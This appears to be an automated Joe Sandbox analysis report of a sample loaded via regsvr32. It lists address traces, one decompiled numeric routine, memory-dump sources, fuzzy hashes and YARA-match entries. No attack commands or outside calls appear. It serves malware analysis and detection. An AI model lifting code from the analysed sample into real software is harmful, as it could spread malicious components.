0x00416c30
0x00416c33
0x00416c36
0x00416c39
0x00416c0c
0x00416c0c
0x00416c10
0x00416c12
0x00416c14
0x00000000
0x00416c16
0x00416c18
0x00416c1e
0x00416c21
0x00416c24
0x00416c27
0x00416c27
0x00416c14
0x00416c3f
0x00416c44
0x00000000
0x00416c4a
0x00416c4a
0x00416c4c
0x00416c50
0x00416c50
0x00416c53
0x00416c56
0x00416c5c
0x00000000
0x00000000
0x00000000
0x00416c5c
0x00416c50
0x00416c44
0x00000000
0x00416bf4
0x00416b0e
0x00000000
0x00416ced
0x00416209
0x00416209
0x00416211
0x0041621e
0x00416229
0x00416231
0x00416238
0x0041623d
0x00416233
0x00416233
0x00416233
0x0041624b
0x0041624f
0x00416253
0x00416253
0x0041625a
0x00416542
0x00416260
0x00416260
0x00416267
0x0041626d
0x00416271
0x00416278
0x0041627b
0x0041627d
0x0041627d
0x00416281
0x00416284
0x00416289
0x00416290
0x00416290
0x00416298
0x0041629a
0x004162a0
0x004162a5
0x004162ab
0x004162b1
0x00000000
0x00000000
0x00000000
0x004162b1
0x004162a0
0x004162b3
0x004162bc
0x004162c0
0x004162c8
0x004162e0
0x004162e3
0x004162e8
0x004162eb
0x0041631c
0x0041631f
0x00416323
0x00416326
0x004162ed
0x004162ed
0x004162f0
0x00000000
0x004162f2
0x004162f2
0x004162f5
0x004162f7
0x004162fa
0x00416300
0x00416306
0x00416309
0x0041630c
0x0041632e
0x00416331
0x0041630e
0x00416312
0x00416315
0x00000000
0x00416317
0x00416317
0x00416317
0x00416315
0x00416334
0x00416337
0x0041633a
0x0041633f
0x0041633f
0x0041633f
0x00416343
0x00416347
0x0041634a
0x0041634d
0x00416353
0x00416356
0x00416359
0x00416369
0x00416369
0x0041636c
0x0041635b
0x0041635f
0x00416362
0x00000000
0x00416364
0x00416364
0x00416364
0x00416362
0x0041636f
0x00416374
0x00416379
0x00416379
0x00416379
0x00416379
0x0041637c
0x0041637f
0x004163fe
0x004163fe
0x00416407
0x0041640b
0x00416412
0x00416416
0x0041641a
0x00416381
0x0041638b
0x0041638e
0x00416392
0x00416396
0x00416398
0x0041639b
0x0041639e
0x004163d5
0x004163d5
0x004163a0
0x004163a4
0x004163a7
0x004163aa
0x004163ba
0x004163ba
0x004163bd
0x004163c0
0x004163ac
0x004163b0
0x004163b3
0x00000000
0x004163b5
0x004163b5
0x004163b5
0x004163b3
0x004163c7
0x004163cd
0x00000000
0x004163cf
0x004163cf
0x004163cf
0x004163cd
0x004163dc
0x004163dc
0x004163e4
0x004163e9
0x004163ec
0x00000000
0x004163ee
0x004163ee
0x004163f0
0x004163f4
0x004163f8
0x004163f8
0x004163ec
0x0041637f
0x004162f0
0x004162ca
0x004162ca
0x004162ca
0x00416420
0x00416423
0x00416430
0x00416436
0x00416439
0x0041643f
0x00416444
0x0041644a
0x00416450
0x00416463
0x0041645b
0x0041645b
0x0041645b
0x00416466
0x00416470
0x00416470
0x00416473
0x00416477
0x0041647d
0x00416483
0x00416489
0x004164a0
0x004164a3
0x00416494
0x00416494
0x00416494
0x004164a6
0x004164a9
0x004164b1
0x004164b1
0x004164b8
0x004164bc
0x004164c0
0x004164c6
0x004164cc
0x00416520
0x00416520
0x00416527
0x004164ce
0x004164ce
0x004164d2
0x004164d8
0x00416500
0x00416500
0x00416503
0x004164da
0x004164da
0x004164de
0x004164e3
0x00000000
0x004164e5
0x004164e7
0x004164ee
0x004164f1
0x004164f1
0x004164e3
0x0041650e
0x00416512
0x00000000
0x00416514
0x00416514
0x00416514
0x00416512
0x00000000
0x004164cc
0x004164c0
0x00000000
0x00416529
0x00416529
0x0041652f
0x00416533
0x00416533
0x00416540
0x00416549
0x00416549
0x00416551
0x00416553
0x00416560
0x00416562
0x00416562
0x00416566
0x00416566
0x0041657e
0x0041657e
0x00000000

Strings

string too long, xrefs: 0041657F

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: string too long
API String ID: 0-2556327735
Opcode ID: 426e889eee0e6892faa723b253f10b13bc43528034c48ae0003ec735b6b940a5
Instruction ID: a0e8496e7a3bf8e581c8474fcb152748c470832620e7ddfdd9bc122809a18c8b
Opcode Fuzzy Hash: 426e889eee0e6892faa723b253f10b13bc43528034c48ae0003ec735b6b940a5
Instruction Fuzzy Hash: 0BC19933701A548AEB118F6AD4902BE3771E744F98F9A9427DE4A57798DB3CC8C6C318

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EF14 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

x]!-, xrefs: 000000018000F2E3

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: x]!-
API String ID: 0-585868058
Opcode ID: cf2a29744dbdbd02a151a4b044d1109f6beb7998a165a5b3606498e8daacfd79
Instruction ID: ef27c9308db5f4e58215da40588114101ffb9df2b9f1d079068fce7700132528
Opcode Fuzzy Hash: cf2a29744dbdbd02a151a4b044d1109f6beb7998a165a5b3606498e8daacfd79
Instruction Fuzzy Hash: 85D189B1A0060DCFDBA8CF78C54A5DD7BF1FB48308F606129E826AA2B6D7749905CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00424C40 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00424C40(signed int __edx, void* __rax, signed int* __rcx) {
				void* _v56;
				signed short _t44;
				signed int _t48;
				signed int _t52;
				signed int _t61;
				signed int _t70;
				signed char _t74;
				signed int _t75;
				signed int _t76;
				signed int _t77;
				signed int _t78;
				void* _t80;
				signed int _t89;
				signed int _t92;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t106;
				unsigned int _t109;
				unsigned int _t112;
				void* _t120;
				void* _t121;
				signed int* _t122;
				void* _t125;

				_t122 = __rcx;
				_t120 = __rax;
				r14d = r8d;
				_t61 = __edx;
				_t123 = __rcx;
				_t74 =  *(__rcx + 6) & 0x0000ffff;
				_t44 = _t74 >> 0x00000004 & 0x000007ff;
				if(_t44 == 0) {
					_t122 = __rcx;
					_t44 = E00424AC0(__rcx, _t125);
					__eflags = _t44;
					if(_t44 <= 0) {
						L8:
						_t75 = _t44;
						__eflags = _t61;
						if(_t61 <= 0) {
							L13:
							__eflags =  ~_t75 - _t61;
							_t103 = _t123[1];
							if( ~_t75 >= _t61) {
								r8d = _t103;
								r8d = r8d & 0x00008000;
								_t105 = _t103 & 0x0000000f | 0x00000010;
								_t123[1] = _t105;
								_t12 = _t122 - 1; // -1
								_t76 = _t121 + _t12;
								__eflags = _t76 - 0xffffffca;
								if(_t76 > 0xffffffca) {
									_t48 = _t76 << 0x10;
									__eflags = _t48 - 0xfff0ffff;
									if(_t48 > 0xfff0ffff) {
										L24:
										_t77 = _t76;
										r9d = 0;
										L30:
										_t78 =  ~_t77;
										__eflags = _t78;
										if(_t78 != 0) {
											r10d = _t78;
											r15d =  *_t123 & 0x0000ffff;
											r12d = 0x10;
											r12d = r12d - r10d;
											r11d = 0;
											__eflags = r9w;
											r11b = r9w != 0;
											r11d = r11d | r15d << r12d;
											r15d = r15d >> r10d;
											_t112 = _t123[0] & 0x0000ffff;
											 *_t123 = _t112 << r12d | r15d;
											r9d = _t123[1] & 0x0000ffff;
											_t123[0] = r9d << r12d | _t112 >> r10d;
											r9d = r9d >> r10d;
											_t109 = _t105 & 0x0000ffff;
											_t48 = _t109 << r12d | r9d;
											_t123[1] = _t48;
											_t105 = _t109 >> r10d;
											__eflags = _t105;
											_t123[1] = _t105;
											r9w = r11w;
										}
										_t106 = _t105 | r8d;
										_t123[1] = _t106;
										__eflags = r9w;
										if(r9w == 0) {
											L48:
											__eflags = _t106 - r8w;
											if(_t106 != r8w) {
												goto L52;
											}
											goto L49;
										} else {
											__eflags = r14d - 4;
											_t80 =  !=  ? r14d : 1;
											__eflags = 1;
											if(1 == 0) {
												goto L48;
											}
											__eflags = 1 - 3;
											if(1 == 3) {
												__eflags = r8w;
												if(r8w != 0) {
													L41:
													 *_t123 =  *_t123 + 1;
													__eflags =  *_t123;
													if( *_t123 != 0) {
														goto L48;
													}
													_t33 =  &(_t123[0]);
													 *_t33 = _t123[0] + 1;
													__eflags =  *_t33;
													if( *_t33 != 0) {
														goto L48;
													}
													_t35 =  &(_t123[1]);
													 *_t35 = _t123[1] + 1;
													__eflags =  *_t35;
													if( *_t35 != 0) {
														goto L48;
													}
													_t106 = _t106 + 1;
													_t123[1] = _t106;
													__eflags = _t106 - r8w;
													if(_t106 == r8w) {
														L49:
														__eflags = _t123[1];
														if(_t123[1] != 0) {
															L52:
															asm("sbb ax, ax");
															return _t48;
														}
														__eflags = _t123[0];
														if(_t123[0] != 0) {
															goto L52;
														}
														__eflags =  *_t123;
														if( *_t123 == 0) {
															goto L7;
														}
														goto L52;
													}
													goto L52;
												}
												goto L48;
											}
											__eflags = _t80 - 2;
											if(_t80 != 2) {
												_t48 = r9w & 0xffffffff;
												__eflags = _t48 - 0x8000;
												if(__eflags <= 0) {
													if(__eflags != 0) {
														goto L48;
													}
													__eflags =  *_t123 & 0x00000001;
													if(( *_t123 & 0x00000001) != 0) {
														goto L41;
													}
													goto L48;
												}
												goto L41;
											}
											__eflags = r8w;
											if(r8w == 0) {
												goto L41;
											}
											goto L48;
										}
									}
									r9w =  *_t123;
									_t70 = _t123[0];
									r10w = _t123[1];
									_t17 = _t120 + 0x100000; // 0xfffff
									_t89 = _t17;
									__eflags = _t89 - 0xfff0ffff;
									if(_t89 > 0xfff0ffff) {
										_t77 = _t89 >> 0x10;
										r11w = _t105;
										_t48 = r10w;
										L29:
										 *_t123 = _t70;
										_t123[0] = _t48;
										_t123[1] = r11w;
										_t123[1] = 0;
										_t105 = 0;
										__eflags = 0;
										goto L30;
									}
									__eflags = r9w;
									r9w = _t70 | 0 | r9w != 0x00000000;
									_t20 = _t120 + 0x200000; // 0x1fffff
									_t92 = _t20;
									__eflags = _t92 - 0xfff0ffff;
									if(_t92 > 0xfff0ffff) {
										_t77 = _t92 >> 0x10;
										r11d = 0;
										_t48 = _t105;
										_t70 = r10w;
										goto L29;
									}
									__eflags = r9w;
									r10d = r10d | 0 | r9w != 0x00000000;
									r9w = r10w;
									_t23 = _t120 + 0x300000; // 0x2fffff
									_t95 = _t23;
									__eflags = _t95 - 0xfff0ffff;
									if(_t95 > 0xfff0ffff) {
										_t77 = _t95 >> 0x10;
										r11d = 0;
										_t48 = 0;
										_t70 = _t105;
										goto L29;
									}
									__eflags = r9w;
									r9b = r9w != 0;
									_t52 = _t48 + 0x400000;
									_t77 = _t52 >> 0x10;
									__eflags = _t52 - 0xfff0ffff;
									if(_t52 > 0xfff0ffff) {
										r9d = _t105;
										r11d = 0;
										_t48 = 0;
										_t70 = 0;
										__eflags = 0;
										goto L29;
									} else {
										goto L22;
									}
									do {
										L22:
										_t48 = (_t77 << 0x10) + 0x100000;
										_t77 = _t48 >> 0x10;
										__eflags = _t48 - 0xfff10000;
									} while (_t48 < 0xfff10000);
									r9w = 1;
									goto L24;
								}
								_t123[1] = r8w;
								_t123[1] = 0;
								 *_t123 = 0;
								return 0;
							}
							_t123[1] = _t75 + _t61 << 0x00000004 | _t103 & 0xffff800f;
							return 0xffff;
						}
						__eflags = 0x7ff - _t61;
						if(0x7ff > _t61) {
							goto L13;
						}
						__eflags = _t123[1];
						asm("movsd xmm0, [0x2aaf4]");
						if(_t123[1] < 0) {
							asm("xorps xmm0, [0x2a08b]");
						}
						asm("movsd [esi], xmm0");
						return 1;
					}
					L7:
					return 0;
				}
				if((_t44 & 0x0000ffff) != 0x7ff) {
					goto L8;
				}
				if((_t74 & 0x0000000f) == 0 &&  *((short*)(__rcx + 4)) == 0 &&  *((short*)(__rcx + 2)) == 0) {
					asm("sbb ax, 0x0");
					return 2;
				}
				return 2;
			}

0x00424c40
0x00424c40
0x00424c53
0x00424c56
0x00424c58
0x00424c5b
0x00424c64
0x00424c68
0x00424ca9
0x00424cac
0x00424cb1
0x00424cb4
0x00424cbd
0x00424cbd
0x00424cc0
0x00424cc2
0x00424cf2
0x00424cf6
0x00424cf8
0x00424cfc
0x00424d18
0x00424d1b
0x00424d25
0x00424d28
0x00424d2c
0x00424d2c
0x00424d30
0x00424d33
0x00424d4f
0x00424d52
0x00424d57
0x00424deb
0x00424deb
0x00424dee
0x00424e41
0x00424e41
0x00424e43
0x00424e46
0x00424e48
0x00424e4c
0x00424e50
0x00424e56
0x00424e61
0x00424e64
0x00424e68
0x00424e6c
0x00424e72
0x00424e75
0x00424e83
0x00424e8b
0x00424e9a
0x00424ea1
0x00424ea4
0x00424eae
0x00424eb1
0x00424eb8
0x00424eb8
0x00424eba
0x00424ebe
0x00424ebe
0x00424ec2
0x00424ec5
0x00424ec9
0x00424ecd
0x00424f2b
0x00424f2b
0x00424f2f
0x00000000
0x00000000
0x00000000
0x00424ecf
0x00424ecf
0x00424ed8
0x00424edc
0x00424ede
0x00000000
0x00000000
0x00424ee0
0x00424ee3
0x00424ef2
0x00424ef6
0x00424f05
0x00424f05
0x00424f05
0x00424f08
0x00000000
0x00000000
0x00424f0a
0x00424f0a
0x00424f0a
0x00424f0e
0x00000000
0x00000000
0x00424f10
0x00424f10
0x00424f10
0x00424f14
0x00000000
0x00000000
0x00424f16
0x00424f18
0x00424f1c
0x00424f20
0x00424f31
0x00424f31
0x00424f36
0x00424f49
0x00424f52
0x00000000
0x00424f52
0x00424f38
0x00424f3d
0x00000000
0x00000000
0x00424f3f
0x00424f43
0x00000000
0x00000000
0x00000000
0x00424f43
0x00000000
0x00424f22
0x00000000
0x00424ef8
0x00424ee5
0x00424ee8
0x00424efa
0x00424efe
0x00424f03
0x00424f24
0x00000000
0x00000000
0x00424f26
0x00424f29
0x00000000
0x00000000
0x00000000
0x00424f29
0x00000000
0x00424f03
0x00424eea
0x00424eee
0x00000000
0x00000000
0x00000000
0x00424ef0
0x00424ecd
0x00424d5d
0x00424d61
0x00424d65
0x00424d6a
0x00424d6a
0x00424d70
0x00424d76
0x00424df3
0x00424df6
0x00424dfa
0x00424e2d
0x00424e2d
0x00424e30
0x00424e34
0x00424e39
0x00424e3f
0x00424e3f
0x00000000
0x00424e3f
0x00424d7a
0x00424d83
0x00424d87
0x00424d87
0x00424d8d
0x00424d93
0x00424e00
0x00424e03
0x00424e06
0x00424e09
0x00000000
0x00424e09
0x00424d97
0x00424d9e
0x00424da1
0x00424da5
0x00424da5
0x00424dab
0x00424db1
0x00424e0f
0x00424e12
0x00424e15
0x00424e17
0x00000000
0x00424e17
0x00424db5
0x00424db9
0x00424dbd
0x00424dc4
0x00424dc7
0x00424dcc
0x00424e1f
0x00424e26
0x00424e29
0x00424e2b
0x00424e2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00424dce
0x00424dce
0x00424dd3
0x00424dda
0x00424ddd
0x00424ddd
0x00424de4
0x00000000
0x00424de4
0x00424d35
0x00424d3a
0x00424d40
0x00000000
0x00424d46
0x00424d0b
0x00000000
0x00424d0f
0x00424ccb
0x00424ccd
0x00000000
0x00000000
0x00424ccf
0x00424cd4
0x00424cdc
0x00424cde
0x00424cde
0x00424ce5
0x00000000
0x00424ce9
0x00424cb6
0x00000000
0x00424cb6
0x00424c73
0x00000000
0x00000000
0x00424c7c
0x00424ca0
0x00000000
0x00424ca0
0x00424f63

Strings

MZP, xrefs: 00424DBD

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: 58d08af14740f369ff4b88c7d1ea415c2037c13ee2939d7824a50609441581ab
Instruction ID: eab33a13e551410e20d1b6bfc7cbad8382404657c787dbbf5bd804396d8c66bd
Opcode Fuzzy Hash: 58d08af14740f369ff4b88c7d1ea415c2037c13ee2939d7824a50609441581ab
Instruction Fuzzy Hash: 0C71042231456142E72DDE35B99177AA261FBE0351F86E02BDFA783F80E77CD8818309

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A8B0 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

}^O, xrefs: 000000018001ABB5

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }^O
API String ID: 0-3039680174
Opcode ID: 2737519d22680c9269c125336f90b0d45ca51200b7d26ea2addf6a8d31d5b6e5
Instruction ID: 49bf7126a3ed96035cba5f3a2dc35bd92797d807ffc117ef4e684cf522882e1a
Opcode Fuzzy Hash: 2737519d22680c9269c125336f90b0d45ca51200b7d26ea2addf6a8d31d5b6e5
Instruction Fuzzy Hash: F8A17BB2502749CFDB98DF28C69A59D3BE1FF55308F004129FC1E9A2A0D774E925CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014D20 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

RH, xrefs: 0000000180014D53

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: RH
API String ID: 0-2975065227
Opcode ID: da44171f9c80a2056ccb259cc2b9eac6e02ade2ac8d9ef905a94791c40a4a894
Instruction ID: ffdcec746f47d48e238e20eef50d2e73c7dd464fa445a9620db8e7f0bf70203b
Opcode Fuzzy Hash: da44171f9c80a2056ccb259cc2b9eac6e02ade2ac8d9ef905a94791c40a4a894
Instruction Fuzzy Hash: 98512A71118B448FC7A9DF18D4C67AAB7E0FB88310F90C91DE8CEC7251DE74A94A8B46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BE90 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

Y, xrefs: 000000018000BEF2

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Y
API String ID: 0-579211002
Opcode ID: c7ef7c05ef0c3c9f2aed6826f015ad160cfcc6abce9b29eb71b79f5d508516d5
Instruction ID: 282c062e4d7a7b934e189ce40979302fc62cd8facee3e9e3c05deb1e10d011fe
Opcode Fuzzy Hash: c7ef7c05ef0c3c9f2aed6826f015ad160cfcc6abce9b29eb71b79f5d508516d5
Instruction Fuzzy Hash: 8351F77051078D8BDB99DF24C8892DD3BA1FB4835CF024318FD8EA62A1D7789949CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D6CC Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

vOs, xrefs: 000000018000D8D7

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vOs
API String ID: 0-1852020951
Opcode ID: 0a3c35978ef4d06ef910e88490b5bce2e9beff051be12035b9eadbcefa2f22bf
Instruction ID: eb1ebf024ab54c10948a5c9129cd82baa1679098a03d92562964da40611e5297
Opcode Fuzzy Hash: 0a3c35978ef4d06ef910e88490b5bce2e9beff051be12035b9eadbcefa2f22bf
Instruction Fuzzy Hash: F9618DB190030E8FDB49CF68D48A5CE7FB0FB64398F204519F845A6260D7B996A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000461C Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

*), xrefs: 0000000180004691

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *)
API String ID: 0-1811957435
Opcode ID: c39f41b8af2b9280dd7c00c4ba0ddd05394017a856c7f82ca50d576e38ac2643
Instruction ID: a65579d9149b365439d1966f1f5095afa4454e272650a2de3d2c4983b1feae37
Opcode Fuzzy Hash: c39f41b8af2b9280dd7c00c4ba0ddd05394017a856c7f82ca50d576e38ac2643
Instruction Fuzzy Hash: 8031957061CB888FD768DF29D08566AB7E0FB99301F50462EE58AC7355DB70D909CB82

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F77C Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

t, xrefs: 000000018000F7C6

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t
API String ID: 0-1935021737
Opcode ID: 783391770682b9c9d34a01018b97ccb4612aed757a5715f7015a6466eeb6abdd
Instruction ID: 4922a171540b14c117f1085818274eb594d8131004477abc75e65711e1a5af71
Opcode Fuzzy Hash: 783391770682b9c9d34a01018b97ccb4612aed757a5715f7015a6466eeb6abdd
Instruction Fuzzy Hash: D841933011DB448BE768DF2CD48526ABBE0FB99340F104A6DF5CAC7266DB70D905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002181C Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

__, xrefs: 00000001800218BC

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: __
API String ID: 0-2267946753
Opcode ID: 8f9b035c25ddab069e89f1d5b32d9e06551c62a3022c943f576078da68d92037
Instruction ID: e9ca32510a0e7ad08a11ef22f7012491976b2ae40baa7e28551c813fda7e6b7c
Opcode Fuzzy Hash: 8f9b035c25ddab069e89f1d5b32d9e06551c62a3022c943f576078da68d92037
Instruction Fuzzy Hash: 3C410070108B848BE758DF29C18A51BBBF1FBC9344F504A2DF69A873A0C775D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

GSn, xrefs: 0000000180009530

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GSn
API String ID: 0-1733515909
Opcode ID: 120b4183c770ef369911dc760361451600c2e99f203226371e5481c8821bf4d7
Instruction ID: 4a8ac8d71167390887ed739dde294ed2fffd8dcf6bceb6687139728a924797a9
Opcode Fuzzy Hash: 120b4183c770ef369911dc760361451600c2e99f203226371e5481c8821bf4d7
Instruction Fuzzy Hash: F551C6B090038E8FDF48DF64C84A5DE7BB1FB58358F104A1DEC66A6290D3B89664CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028500 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

8=, xrefs: 0000000180028591

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8=
API String ID: 0-237953557
Opcode ID: bb623fe5bad30cc0ccc512b27898bb82e9ca0e52d8794c79c7b053a60b518db3
Instruction ID: e89f65e3a6ef7f742f73a1448d8a092fdd5cf11d820c68069e43575f66f02229
Opcode Fuzzy Hash: bb623fe5bad30cc0ccc512b27898bb82e9ca0e52d8794c79c7b053a60b518db3
Instruction Fuzzy Hash: 84314030208B454BD75CDF28C49926A7BE1FBD9340F448A2DF58AD73A5DB34D945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800120E0 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

K, xrefs: 000000018001217C

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: K
API String ID: 0-425913083
Opcode ID: 2b1ae9da1385bdbe4b8d4d873491c8ef025a73cbd56fa24a9a5b2ec22b63fa4f
Instruction ID: 6438b21b7ae460db5869e0af8fbac01ae0071060300d79528c153bad281f0c01
Opcode Fuzzy Hash: 2b1ae9da1385bdbe4b8d4d873491c8ef025a73cbd56fa24a9a5b2ec22b63fa4f
Instruction Fuzzy Hash: AD41F7B180438ECFDB48CF68D8865DE7BB0FB58344F114A19F866A6250D3B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800108CC Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

t", xrefs: 000000018001092F

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t"
API String ID: 0-2131657386
Opcode ID: a3a222a6e056c70518c09b2f7e5539db3b60aaf61629909d00af61b4973bd0e8
Instruction ID: 930cc4272c5a6d960fc3fec32fe64f1edf42e9b83fd2554916219d33a549072d
Opcode Fuzzy Hash: a3a222a6e056c70518c09b2f7e5539db3b60aaf61629909d00af61b4973bd0e8
Instruction Fuzzy Hash: 6241D77180070D8BDF48DF64C48A1DE7FB0FB483A8F65521DE81AB6290D7B89585CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007840 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

XW, xrefs: 00000001800078F9

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: XW
API String ID: 0-3333685748
Opcode ID: 53aab098bf0404d2cf3766a5138789ad46eab93422456b6a0268c5661a85ba0d
Instruction ID: 73a37db5833d59dcb488bda648f34dbec9a5d31356dc435576b23e73f2b8f078
Opcode Fuzzy Hash: 53aab098bf0404d2cf3766a5138789ad46eab93422456b6a0268c5661a85ba0d
Instruction Fuzzy Hash: 253181B190478E8FDB48DF28D8894DA3BE1FB58304B004A1DFC6A97350D7B4D665CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013CD4 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

gLv, xrefs: 0000000180013D74

